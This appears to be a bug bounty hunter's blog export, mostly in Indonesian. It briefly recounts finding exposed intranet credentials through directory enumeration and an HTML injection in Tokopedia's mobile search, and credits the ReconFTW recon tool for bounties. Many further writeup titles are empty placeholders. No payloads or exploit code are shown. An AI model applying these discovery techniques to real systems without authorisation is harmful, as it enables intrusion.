Terdapat 3 *file* dalam *directory* ini, dan semuanya adalah kredensial jaringan internal perusahaan ini.<br>

![Kredensial yang terungkap](/files/-MceRNSuWTLcMz6UEfa8)

Setelah saya melakukan analisis lebih lanjut, kredensial ini memang ditujukan ke jaringan intranet perusahaan tersebut, sehingga saya harus puas dengan hasil kali ini tanpa eksploitasi lebih lanjut.\
Puji syukur, kerentanan ini dinilai dengan tingkatan P2 (High) dengan impalan ratusan dollar USD.

## Bug Bounty Tips

Saat ini banyak website telah melakukan implementasi *rate limit* ketika akses dengan jumlah *request* yang banyak. Ada baiknya, kita membatasi banyaknya *request* dalam satu waktu saat sedang melakukan enumerasi *directory.*\ <br>


# HTML Injection di Tokopedia

HTML Injection merupakan kelemahan web yang mana penyerang dapat memasukkan file kode HTML pada web sesuai kehendak penyerang. Penyerang mengirimkan kode HTML melalui celah web dengan tujuan untuk mengubah desain situs web atau informasi apa pun yang ditampilkan kepada pengguna. Sehingga, pengguna akan melihat data yang dikirim oleh penyerang. Oleh karena itu, secara umum serangan ini melakukan penyuntikan kode bahasa markup ke dokumen halaman.

{% hint style="info" %}
Sumber terkait HTML Injection dapat dibaca [disini](https://www.nulisdata.com/2021/04/html-injection-vulnerability-web-berbahaya.html).
{% endhint %}

## Deskripsi Temuan

Kerentanan ini saya temukan pada Search Query m.tokopedia.com. Dengan memanfaatkan input barang yang tidak ada di Tokopedia, sistem akan memberikan rekomendasi barang. Input user akan terefleksi pada pesan rekomendasi. Pada dasarnya, sistem telah memfilter input yang bermuatan XSS seperti *javascript, onalert, onload, confirm* dan sebagainya, namun tidak memfilter kode HTML lainnya.<br>

## Proof Of Concept

![](/files/-MceXZTPlN_69Iym18dU)

## Impact

Penyerang dapat membuat formulir palsu, menyisipkan gambar dan berbagai bentuk tampilan html lainnya kepada korban.

## Meaningful Reward

Terimakasih banyak untuk IT Security Tokopedia atas apresiasi yang begitu bermakna bagi saya :D.<br>

![](/files/-MceZFuqri-EdpJ4xYpk)

![](/files/-MceZ0StoXTMBVB_QzCA)


# 4300$ Bounty from Opensource automate recon tools, why not?

A critical thread of my thoughts about people who underestimate others because of opensource tools and skill set.

<figure><img src="/files/vBX2nOjFAtRJVyC4vyYY" alt=""><figcaption><p>4300 USD from same CVE number using automate recon tools</p></figcaption></figure>

Yes, and I don't need to be proud of my skills. I also don't need to prove to anyone about my skills.

**Is it really necessary for people looking for bugs and bounties to be certified and recognized as experts?**

It is enough that the report satisfies the vulnerability taxonomy, can prove it with the POC in report, then is accepted by Triager and Company. That's enough.

They don't care about the tools used as long as your tools and how you use it meet the terms and agreements listed. They will not test you outside the context of the vulnerability you are reporting.

Without further ado, I got around 4000 USD with the following tools

{% embed url="<https://github.com/six2dez/reconftw>" %}
ReconFTW by six2dez
{% endembed %}

{% hint style="info" %}
Follow [Installation Guide](https://github.com/six2dez/reconftw/wiki/0.-Installation-Guide), [Post Installation Guide](https://github.com/six2dez/reconftw/wiki/1.-Post-Installation-Guide) and [Usage guide](https://github.com/six2dez/reconftw/wiki/2.-Usage-Guide). Than ./reconftw\.sh **Just it.**
{% endhint %}

Effective on VPS but of course it can run also on your PC.

Tools are just tools. We still have to utilize with our understanding. Even if you're still in the script kiddies stage, there's no problem getting started.&#x20;

{% hint style="danger" %}
**Don't be afraid of people's unreasonable and far-fetched standards**.&#x20;
{% endhint %}

If you want to start this video will be very helpful.&#x20;

{% embed url="<https://www.youtube.com/watch?t=&v=CU9Iafc-Igs>" %}
9x Pro Tips by Stök
{% endembed %}

Thank you Six2dez and all opensource recon tools developer. 🙏

By the way my name Anggi Pradana and I’m part time bug hunter on <https://bugcrowd.com/anggipradana> . I'm a noob and that's why I keep learning.


# I hacked Mastercard 4 times? But How?

Coming soon


# LFI dan RCE di aset redacted.com

Coming soon


# FTPd DOS di aset redacted.co.id

Comingsoon


# Gitlab SSRF di redacted.com


# Firebase Android database Takeover

Commingsoon


# RCE di 11 Subdomain Dell

Coming Soon


# SSRF di redacted.com

Coming soon


# Reflected XSS di CelticPipes

Coming Soon


# Git Disclosure di redacted.co.id

Coming Soon




---

[Next Page](/llms-full.txt/1)

